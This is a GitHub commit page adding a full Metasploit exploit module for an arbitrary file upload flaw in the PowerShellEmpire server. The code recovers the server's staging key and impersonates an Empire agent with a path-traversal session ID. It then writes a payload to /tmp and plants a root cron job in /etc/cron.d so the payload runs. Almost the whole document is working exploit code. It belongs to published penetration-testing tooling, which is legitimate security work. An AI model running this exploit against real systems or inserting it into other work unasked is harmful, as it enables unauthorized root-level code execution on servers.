Skip to content

Commit 4596785

Browse files
committed
Land rapid7#7450, PowerShellEmpire Arbitrary File Upload
2 parents abddeb5 + 684feb6 commit 4596785

File tree

1 file changed

+246
-0
lines changed

1 file changed

+246
-0
lines changed
Lines changed: 246 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,246 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::FileDropper
13+
14+
TASK_DOWNLOAD = 41
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'PowerShellEmpire Arbitrary File Upload (Skywalker)',
19+
'Description' => %q{
20+
A vulnerability existed in the PowerShellEmpire server prior to commit
21+
f030cf62 which would allow an arbitrary file to be written to an
22+
attacker controlled location with the permissions of the Empire server.
23+
24+
This exploit will write the payload to /tmp/ directory followed by a
25+
cron.d file to execute the payload.
26+
},
27+
'Author' =>
28+
[
29+
'Spencer McIntyre', # Vulnerability discovery & Metasploit module
30+
'Erik Daguerre' # Metasploit module
31+
],
32+
'License' => MSF_LICENSE,
33+
'References' => [
34+
['URL', 'http://www.harmj0y.net/blog/empire/empire-fails/']
35+
],
36+
'Payload' =>
37+
{
38+
'DisableNops' => true,
39+
},
40+
'Platform' => %w{ linux python },
41+
'Targets' =>
42+
[
43+
[ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ],
44+
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
45+
[ 'Linux x64', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux' } ]
46+
],
47+
'DefaultOptions' => { 'WfsDelay' => 75 },
48+
'DefaultTarget' => 0,
49+
'DisclosureDate' => 'Oct 15 2016'))
50+
51+
register_options(
52+
[
53+
Opt::RPORT(8080),
54+
OptString.new('TARGETURI', [ false, 'Base URI path', '/' ]),
55+
OptString.new('STAGE0_URI', [ true, 'The resource requested by the initial launcher, default is index.asp', 'index.asp' ]),
56+
OptString.new('STAGE1_URI', [ true, 'The resource used by the RSA key post, default is index.jsp', 'index.jsp' ]),
57+
OptString.new('PROFILE', [ false, 'Empire agent traffic profile URI.', '' ])
58+
], self.class)
59+
end
60+
61+
def check
62+
return Exploit::CheckCode::Safe if get_staging_key.nil?
63+
64+
Exploit::CheckCode::Appears
65+
end
66+
67+
def aes_encrypt(key, data, include_mac=false)
68+
cipher = OpenSSL::Cipher::AES256.new(:CBC)
69+
cipher.encrypt
70+
iv = cipher.random_iv
71+
cipher.key = key
72+
cipher.iv = iv
73+
data = iv + cipher.update(data) + cipher.final
74+
75+
digest = OpenSSL::Digest.new('sha1')
76+
data << OpenSSL::HMAC.digest(digest, key, data) if include_mac
77+
78+
data
79+
end
80+
81+
def create_packet(res_id, data, counter=nil)
82+
data = Rex::Text::encode_base64(data)
83+
counter = Time.new.to_i if counter.nil?
84+
85+
[ res_id, counter, data.length ].pack('VVV') + data
86+
end
87+
88+
def reversal_key
89+
# reversal key for commit da52a626 (March 3rd, 2016) - present (September 21st, 2016)
90+
[
91+
[ 160, 0x3d], [ 33, 0x2c], [ 34, 0x24], [ 195, 0x3d], [ 260, 0x3b], [ 37, 0x2c], [ 38, 0x24], [ 199, 0x2d],
92+
[ 8, 0x20], [ 41, 0x3d], [ 42, 0x22], [ 139, 0x22], [ 108, 0x2e], [ 173, 0x2e], [ 14, 0x2d], [ 47, 0x29],
93+
[ 272, 0x5d], [ 113, 0x3b], [ 82, 0x3b], [ 51, 0x2d], [ 276, 0x2e], [ 213, 0x2e], [ 86, 0x2d], [ 183, 0x3a],
94+
[ 24, 0x7b], [ 57, 0x2d], [ 282, 0x20], [ 91, 0x20], [ 92, 0x2d], [ 157, 0x3b], [ 30, 0x28], [ 31, 0x24]
95+
]
96+
end
97+
98+
def rsa_encode_int(value)
99+
encoded = []
100+
while value > 0 do
101+
encoded << (value & 0xff)
102+
value >>= 8
103+
end
104+
105+
Rex::Text::encode_base64(encoded.reverse.pack('C*'))
106+
end
107+
108+
def rsa_key_to_xml(rsa_key)
109+
rsa_key_xml = "<RSAKeyValue>\n"
110+
rsa_key_xml << " <Exponent>#{ rsa_encode_int(rsa_key.e.to_i) }</Exponent>\n"
111+
rsa_key_xml << " <Modulus>#{ rsa_encode_int(rsa_key.n.to_i) }</Modulus>\n"
112+
rsa_key_xml << "</RSAKeyValue>"
113+
114+
rsa_key_xml
115+
end
116+
117+
def get_staging_key
118+
# STAGE0_URI resource requested by the initial launcher
119+
# The default STAGE0_URI resource is index.asp
120+
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34
121+
res = send_request_cgi({
122+
'method' => 'GET',
123+
'uri' => normalize_uri(target_uri.path, datastore['STAGE0_URI'])
124+
})
125+
return unless res and res.code == 200
126+
127+
staging_key = Array.new(32, nil)
128+
staging_data = res.body.bytes
129+
130+
reversal_key.each_with_index do |(pos, char_code), key_pos|
131+
staging_key[key_pos] = staging_data[pos] ^ char_code
132+
end
133+
134+
return if staging_key.include? nil
135+
136+
# at this point the staging key should have been fully recovered but
137+
# we'll verify it by attempting to decrypt the header of the stage
138+
decrypted = []
139+
staging_data[0..23].each_with_index do |byte, pos|
140+
decrypted << (byte ^ staging_key[pos])
141+
end
142+
return unless decrypted.pack('C*').downcase == 'function start-negotiate'
143+
144+
staging_key
145+
end
146+
147+
def write_file(path, data, session_id, session_key, server_epoch)
148+
# target_url.path default traffic profile for empire agent communication
149+
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L50
150+
data = create_packet(
151+
TASK_DOWNLOAD,
152+
[
153+
'0',
154+
session_id + path,
155+
Rex::Text::encode_base64(data)
156+
].join('|'),
157+
server_epoch
158+
)
159+
160+
if datastore['PROFILE'].blank?
161+
profile_uri = normalize_uri(target_uri.path, %w{ admin/get.php news.asp login/process.jsp }.sample)
162+
else
163+
profile_uri = normalize_uri(target_uri.path, datastore['PROFILE'])
164+
end
165+
166+
res = send_request_cgi({
167+
'cookie' => "SESSIONID=#{session_id}",
168+
'data' => aes_encrypt(session_key, data, include_mac=true),
169+
'method' => 'POST',
170+
'uri' => normalize_uri(profile_uri)
171+
})
172+
fail_with(Failure::Unknown, "Failed to write file") unless res and res.code == 200
173+
174+
res
175+
end
176+
177+
def cron_file(command)
178+
cron_file = 'SHELL=/bin/sh'
179+
cron_file << "\n"
180+
cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin'
181+
cron_file << "\n"
182+
cron_file << "* * * * * root #{command}"
183+
cron_file << "\n"
184+
185+
cron_file
186+
end
187+
188+
def exploit
189+
vprint_status('Recovering the staging key...')
190+
staging_key = get_staging_key
191+
if staging_key.nil?
192+
fail_with(Failure::Unknown, 'Failed to recover the staging key')
193+
end
194+
vprint_status("Successfully recovered the staging key: #{staging_key.map { |b| b.to_s(16) }.join(':')}")
195+
staging_key = staging_key.pack('C*')
196+
197+
rsa_key = OpenSSL::PKey::RSA.new(2048)
198+
session_id = Array.new(50, '..').join('/')
199+
# STAGE1_URI, The resource used by the RSA key post
200+
# The default STAGE1_URI resource is index.jsp
201+
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37
202+
res = send_request_cgi({
203+
'cookie' => "SESSIONID=#{session_id}",
204+
'data' => aes_encrypt(staging_key, rsa_key_to_xml(rsa_key)),
205+
'method' => 'POST',
206+
'uri' => normalize_uri(target_uri.path, datastore['STAGE1_URI'])
207+
})
208+
fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res and res.code == 200
209+
vprint_status("Successfully sent the RSA key")
210+
211+
# decrypt the response and pull out the epoch and session_key
212+
body = rsa_key.private_decrypt(res.body)
213+
server_epoch = body[0..9].to_i
214+
session_key = body[10..-1]
215+
print_status('Successfully negotiated an artificial Empire agent')
216+
217+
payload_data = nil
218+
payload_path = '/tmp/' + rand_text_alpha(8)
219+
220+
case target['Arch']
221+
when ARCH_PYTHON
222+
cron_command = "python #{payload_path}"
223+
payload_data = payload.raw
224+
225+
when ARCH_X86, ARCH_X86_64
226+
cron_command = "chmod +x #{payload_path} && #{payload_path}"
227+
payload_data = payload.encoded_exe
228+
229+
end
230+
231+
print_status("Writing payload to #{payload_path}")
232+
write_file(payload_path, payload_data, session_id, session_key, server_epoch)
233+
234+
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
235+
print_status("Writing cron job to #{cron_path}")
236+
237+
write_file(cron_path, cron_file(cron_command), session_id, session_key, server_epoch)
238+
print_status("Waiting for cron job to run, can take up to 60 seconds")
239+
240+
register_files_for_cleanup(cron_path)
241+
register_files_for_cleanup(payload_path)
242+
# Empire writes to a log file location based on the Session ID, so when
243+
# exploiting this vulnerability that file ends up in the root directory.
244+
register_files_for_cleanup('/agent.log')
245+
end
246+
end

0 commit comments

Comments
 (0)